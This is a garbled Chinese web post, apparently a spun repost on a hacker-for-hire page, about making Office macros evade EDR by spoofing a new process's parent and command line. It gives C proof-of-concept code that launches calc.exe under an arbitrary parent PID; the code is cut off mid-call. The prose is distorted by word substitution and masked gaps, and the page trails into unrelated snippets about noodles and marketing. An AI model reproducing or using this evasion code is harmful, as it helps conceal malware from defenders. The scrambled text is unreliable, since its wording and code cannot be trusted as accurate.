绕开EDR:结构Office宏欺骗父进程和命令行参数

访客4年前关于黑客接单822

一、情况

大部分当代EDR解决 *** 都应用个人行为检验的 *** ,容许依据其个人行为来检验恶意程序,而不是只是应用IoC(比如:文档hash值、网站域名)。在本文中,我得出了欺骗新进程的父进程和命令行参数这二种技术的VBA完成方式。该类完成容许制做更为隐秘的Office宏,并使宏形成的进程看上去好像由另一个程序流程(比如explorer.exe)建立的,并具备看起来良好的命令行参数。

必须表明的是,我并不是明确提出这种技术的创作者,这种技术是由Will Burgess、Didier Stevens和Casey Smith明确提出的。

更先,大家将解读在Visual Basic中完成的技术情况。我之一次听见这种內容,是在Wild West Hackin’ Fest 2018中听到了Will Burgess的演说以后。

1.1 父进程欺骗

当进程派生出子进程时,比如Sy *** on这类的EDR解决 *** 会纪录该实际操作,另外会纪录各种各样信息,比如:新创建的进程名字、hash值、可实行途径及其相关父进程的信息。这针对预制构件个人行为标准十分有协助,例如,“Microsoft Word始终不容易派生出powershell.exe”。依据我的工作经验,这种标准具备较低的多元性、较高的增加值,仅在非常少状况下能产生乱报。

事实上,在应用Windows当地API建立进程时,能够特定一切进程做为父亲进程。这并并不是一个新鲜事儿,因而我不想在文中中更为详尽地叙述。事实上,Didier Stevens早在十年前就读过有关这一方面的文章内容。下边是一个C 编码的实例供大伙儿参照,将应用随意进程做为父进程,派生出cmd.exe。

// 本编码根据

#include "pch.h"

#include

#include

#include

#include

int main(int argc, char **canttrustthis)

{

PROCESS_INFORMATION pi={ 0 };

STARTUPINFOEXA si={ 0 };

SIZE_T sizeToAllocate;

int parentPid=9524; // Could be found dynamically as well

// Get a handle on the parent process to use

HANDLE processHandle=OpenProcess(PROCESS_ALL_ACCESS, false, parentPid);

if (processHandle==NULL){

fprintf(stderr, "OpenProcess failed");

return 1;

}

// Initialize the process start attributes

InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);

// Allocate the size needed for the attribute list

si.lpAttributeList=(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate);

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);

// Set the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS option to specify the parent process to use

if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &processHandle, sizeof(HANDLE), NULL, NULL)){

fprintf(stderr, "UpdateProcThreadAttribute failed");

return 1;

}

si.StartupInfo.cb=sizeof(STARTUPINFOEXA);

printf("Creating process...

");

BOOL success=CreateProcessA(

NULL, // App name

"C:\\\\Windows\\\\system32\\\\calc.exe", // Command line

NULL, // Process attributes

NULL, // Thread attributes

true, // Inherits handles?

EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // Creation flags

NULL, // Env

"C:\\\\Windows\\\\system32", // Current dir

(LPSTARTUPINFOA) &si,

&pi

相关文章

家常汤面的做法(焖面条的家常做法)

  鲜面条是我们国人常常吃的东西。相对性于别的食材,鲜面条是最素雅的。能够烘托一切食材,还可以容下千百种口感。那么热,十多分钟给自己做一碗面,最醒神。   鲜面条是我们国人常常吃的东西。相对性于别的...

如何把微信聊天记录导出成

2020年圣诞节期间,世界潮玩文化推广人洪立伟先生首度发起「2020感恩圣诞」专题活动;灵感源于2020年世界各地在疫情之下希望将「幸福、疗愈、祝福」借由节日...

产品营销推广方案(新产品宣传推广策划方案)

产品营销推广方案(新产品宣传推广策划方案)

项目营销筹谋案 目次list 市场配景 产物筹划 流传筹划 营销筹划 事情进度 勾当目标 引流 引流到企业处事号、扩大处事号的影响力 用户 积聚用户、下单用户资料收集 2个目标: 购...

江小白/步履不停/许舜英:文案的第3种成功之道

江小白/步履不停/许舜英:文案的第3种成功之道

当你写作文案时,一般会掘客产物的两种好处点,来冲动消费者,别离是成果好处点和感情好处点。这是我们在创意文案时,最为常见的两种偏向。可是这两种好处点计策,都有一个明明缺点,而我们也许有第3条路可以走。...

打羽毛球能瘦哪些部位【打羽毛球可以瘦哪里】

打乒乓球能瘦什么位置(打乒乓球能够瘦哪儿)在现实生活中,到处都能够见到大家在打乒乓球 ,它是一项很好的有氧运动减肥,不断锻练三十分钟后能够燃肪脂,做到减肥瘦身的目地。那麼打乒乓球能够瘦哪儿呢?打乒乓球...

苹果恢复一个人的聊天记录(苹果微信聊天记录恢复)

苹果手机微信怎么恢复聊天记录?微信是我们每天都在使用的一个社交工具,使用的过程中,也常常会清理一下微信缓存数据, 微信聊天记录怎么恢复?删除的微信聊天记录还可以找回吗?手机的内存有限,使用时间较久,手...